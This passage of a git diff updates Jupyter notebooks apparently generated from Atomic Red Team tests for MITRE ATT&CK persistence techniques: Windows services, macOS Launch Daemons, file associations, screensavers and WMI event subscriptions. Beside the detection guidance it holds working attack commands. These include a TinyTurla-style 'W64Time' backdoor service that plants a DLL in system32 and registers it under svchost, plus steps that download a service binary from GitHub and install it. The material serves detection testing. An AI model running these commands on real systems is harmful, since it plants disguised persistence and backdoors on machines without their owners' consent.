T1543.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "92b5bd20", + "id": "ed005a1e", "metadata": {}, - "source": "### Atomic Test #3 - Service Installation PowerShell\nInstalls A Local Service via PowerShell.\nUpon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Service binary must exist on disk at specified location (#{binary_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\"\n\n```" + "source": "### Atomic Test #3 - Service Installation PowerShell\nInstalls A Local Service via PowerShell.\nUpon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Service binary must exist on disk at specified location (#{binary_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "90505e89", + "id": "a2922c4a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f92b8acb", + "id": "a9f042d8", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -118,28 +118,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ce048c2c", + "id": "1bc358d8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "c83eb814", + "id": "16b1e99b", "metadata": {}, "source": "#### Cleanup: \n```powershell\nStop-Service -Name \"AtomicTestService_PowerShell\" 2>&1 | Out-Null\ntry {(Get-WmiObject Win32_Service -filter \"name='AtomicTestService_PowerShell'\").Delete()}\ncatch {}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "43a20395", + "id": "d9500d47", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "099ec6e3", + "id": "0b80f045", "metadata": {}, "source": [ "### Atomic Test #4 - TinyTurla backdoor service w64time", @@ -147,34 +147,79 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\ncopy $PathToAtomicsFolder\\T1543.003\\bin\\w64time.dll %systemroot%\\system32\\\nsc create W64Time binPath= \"c:\\Windows\\System32\\svchost.exe -k TimeService\" type= share start=auto\nsc config W64Time DisplayName= \"Windows 64 Time\"\nsc description W64Time \"Maintain date and time synch on all clients and services in the network\"\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v TimeService /t REG_MULTI_SZ /d \"W64Time\" /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\W64Time\\Parameters\" /v ServiceDll /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\w64time.dll\" /f\nsc start W64Time```" + "```command_prompt\ncopy \"$PathToAtomicsFolder\\T1543.003\\bin\\w64time.dll\" %systemroot%\\system32\\\nsc create W64Time binPath= \"c:\\Windows\\System32\\svchost.exe -k TimeService\" type= share start=auto\nsc config W64Time DisplayName= \"Windows 64 Time\"\nsc description W64Time \"Maintain date and time synch on all clients and services in the network\"\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v TimeService /t REG_MULTI_SZ /d \"W64Time\" /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\W64Time\\Parameters\" /v ServiceDll /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\w64time.dll\" /f\nsc start W64Time```" ] }, { "cell_type": "code", "execution_count": null, - "id": "108a75ee", + "id": "4132c055", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "c8c7fbda", + "id": "42101317", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc stop W64Time\nsc.exe delete W64Time\ndel %systemroot%\\system32\\w64time.dll\nreg delete \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v TimeService /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\W64Time\\Parameters\" /v ServiceDll /f```" }, { "cell_type": "code", "execution_count": null, - "id": "603d0b65", + "id": "667d4a9e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.003 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "46ad732f", + "id": "ed84c555", + "metadata": {}, + "source": "### Atomic Test #5 - Remote Service Installation CMD\nDownload an executable from github and start it as a service on a remote endpoint\nUpon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Service binary must exist on disk at specified location (#{binary_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "687aa4da", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1543.003 -TestNumbers 5 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "7a91a865", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nsc.exe \\\\localhost create AtomicTestService_CMD binPath= \"PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe\" start=auto type=Own\nsc.exe \\\\localhost start AtomicTestService_CMD\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "702ded90", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1543.003 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "9e4e47f9", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nsc.exe \\\\localhost stop AtomicTestService_CMD >nul 2>&1\nsc.exe \\\\localhost delete AtomicTestService_CMD >nul 2>&1```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "380f7cbf", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1543.003 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "9bb43147", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \n\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) \n\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\n\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." } @@ -182,13 +227,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1543.004.ipynb b/playbook/tactics/persistence/T1543.004.ipynb index ce85c51e..32d99639 100644 --- a/playbook/tactics/persistence/T1543.004.ipynb +++ b/playbook/tactics/persistence/T1543.004.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "8f41e9b7", + "id": "6995e734", "metadata": {}, "source": "# T1543.004 - Launch Daemon\nAdversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)" }, { "cell_type": "markdown", - "id": "8cd53190", + "id": "5364a2cb", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "58df06d6", + "id": "6324ea74", "metadata": {}, "source": "### Atomic Test #1 - Launch Daemon\nUtilize LaunchDaemon to launch `Hello World`\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The shared library must exist on disk at specified location (#{path_malicious_plist})\n\n##### Check Prereq Commands:\n```bash\nif [ -f $PathToAtomicsFolder/T1543.004/src/atomicredteam_T1543_004.plist ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\necho \"The plist file doesn't exist. Check the path and try again.\"; exit 1;\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fcba20fe", + "id": "62f498e5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "dd35aea6", + "id": "965f9a91", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "674d82db", + "id": "efef6c13", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b2e0d412", + "id": "eb982c69", "metadata": {}, "source": "#### Cleanup: \n```bash\nsudo launchctl unload /Library/LaunchDaemons/com.atomicredteam.plist\nsudo rm /Library/LaunchDaemons/com.atomicredteam.plist\nsudo rm /tmp/T1543_004_atomicredteam.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8d4bae68", + "id": "ef80923c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1543.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "18dac56c", + "id": "c502d593", "metadata": {}, "source": "## Detection\nMonitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.\n\nSome legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists)\n\n" } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1543.ipynb b/playbook/tactics/persistence/T1543.ipynb index 4240c872..2a0c020f 100644 --- a/playbook/tactics/persistence/T1543.ipynb +++ b/playbook/tactics/persistence/T1543.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "b5277bf1", + "id": "d1ab89da", "metadata": {}, "source": "# T1543 - Create or Modify System Process\nAdversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) " }, { "cell_type": "markdown", - "id": "a38b97c7", + "id": "7a5ed356", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "d0e963df", + "id": "f5b308c2", "metadata": {}, "source": "## Detection\nMonitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \n\nMonitor for changes to files associated with system-level processes." }, { "cell_type": "markdown", - "id": "79ec9e16", + "id": "180f58ef", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to use security controls to stop or allow an adversary's activity.\n#### Use Case\nA defender can choose to harden or weaken security controls on a system to affect an adversaries ability to modify or create system processes.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.001.ipynb b/playbook/tactics/persistence/T1546.001.ipynb index 0e296646..f9d79b22 100644 --- a/playbook/tactics/persistence/T1546.001.ipynb +++ b/playbook/tactics/persistence/T1546.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "1ceddd86", + "id": "5fd78634", "metadata": {}, "source": "# T1546.001 - Change Default File Association\nAdversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)" }, { "cell_type": "markdown", - "id": "7c04735b", + "id": "e464324c", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "0aa8574d", + "id": "c81935f7", "metadata": {}, "source": [ "### Atomic Test #1 - Change Default File Association", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "6c8d7de3", + "id": "6a7da181", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "3c020878", + "id": "5ebeab97", "metadata": {}, "source": "#### Cleanup: \n```cmd\nassoc .hta=htafile\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cf57cf7e", + "id": "f19efa4f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "1314b6ec", + "id": "5fd64357", "metadata": {}, "source": "## Detection\nCollect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques." } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.002.ipynb b/playbook/tactics/persistence/T1546.002.ipynb index 959b4078..b6fc6911 100644 --- a/playbook/tactics/persistence/T1546.002.ipynb +++ b/playbook/tactics/persistence/T1546.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "bf2754b1", + "id": "84035f89", "metadata": {}, "source": "# T1546.002 - Screensaver\nAdversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)" }, { "cell_type": "markdown", - "id": "e49e7c2c", + "id": "4893c74b", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f74c0750", + "id": "3c542940", "metadata": {}, "source": [ "### Atomic Test #1 - Set Arbitrary Binary as Screensaver", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b184df65", + "id": "ae06e05e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "8bc091f0", + "id": "739c15ff", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg import %userprofile%\\backup.reg\ndel %userprofile%\\backup.reg\ndel %SystemRoot%\\System32\\evilscreensaver.scr\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0257ab7c", + "id": "99d4a5ce", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "b9ba40e0", + "id": "c6dfe257", "metadata": {}, "source": "## Detection\nMonitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated." } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.003.ipynb b/playbook/tactics/persistence/T1546.003.ipynb index 0a4831aa..f510b367 100644 --- a/playbook/tactics/persistence/T1546.003.ipynb +++ b/playbook/tactics/persistence/T1546.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "644f0d5d", + "id": "cd98545a", "metadata": {}, "source": "# T1546.003 - Windows Management Instrumentation Event Subscription\nAdversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges." }, { "cell_type": "markdown", - "id": "d8c9d2c8", + "id": "3cc2050e", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "0644c3b4", + "id": "7743f15e", "metadata": {}, "source": [ "### Atomic Test #1 - Persistence via WMI Event Subscription - CommandLineEventConsumer", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "e4d0fea8", + "id": "49b32dfd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c413e5b9", + "id": "aea15663", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter \"Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'\"\n$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter \"Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'\"\n$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query \"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding\" -ErrorAction SilentlyContinue\n$FilterConsumerBindingToCleanup | Remove-WmiObject\n$EventConsumerToCleanup | Remove-WmiObject\n$EventFilterToCleanup | Remove-WmiObject\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b1abbbc1", + "id": "96e3d9bf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "deb8101a", + "id": "b5539851", "metadata": {}, "source": [ "### Atomic Test #2 - Persistence via WMI Event Subscription - ActiveScriptEventConsumer", @@ -63,73 +63,73 @@ { "cell_type": "code", "execution_count": null, - "id": "12e846fa", + "id": "4605cda9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "5786e324", + "id": "eac6a51e", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer -Filter \"Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'\"\n$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter \"Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'\"\n$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query \"REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding\" -ErrorAction SilentlyContinue\n$FilterConsumerBindingToCleanup | Remove-WmiObject\n$EventConsumerToCleanup | Remove-WmiObject\n$EventFilterToCleanup | Remove-WmiObject\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9b37b810", + "id": "eaefa685", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "ed8c367e", + "id": "b7128447", "metadata": {}, - "source": "### Atomic Test #3 - Windows MOFComp.exe Load MOF File\nThe following Atomic will utilize MOFComp.exe to load a local MOF file.\nThe Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. \nTo query for the class: gwmi __eventfilter -namespace root\\subscription\nA successful execution will add the class to WMI root namespace.\nReference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: MofComp.exe must exist on disk at specified location (#{mofcomp_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"c:\\windows\\system32\\wbem\\mofcomp.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nValidate MOFComp.exe is on disk somewhere and update input argument.\n\n```\n##### Description: MofComp.exe must exist on disk at specified location (#{mof_file})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.003/src/T1546.003.mof\" -OutFile \"PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof\"\n\n```" + "source": "### Atomic Test #3 - Windows MOFComp.exe Load MOF File\nThe following Atomic will utilize MOFComp.exe to load a local MOF file.\nThe Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. \nTo query for the class: gwmi __eventfilter -namespace root\\subscription\nA successful execution will add the class to WMI root namespace.\nReference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: MofComp.exe must exist on disk at specified location (#{mofcomp_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"c:\\windows\\system32\\wbem\\mofcomp.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nValidate MOFComp.exe is on disk somewhere and update input argument.\n\n```\n##### Description: MofComp.exe must exist on disk at specified location (#{mof_file})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1546.003\\src\\T1546.003.mof\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.003/src/T1546.003.mof\" -OutFile 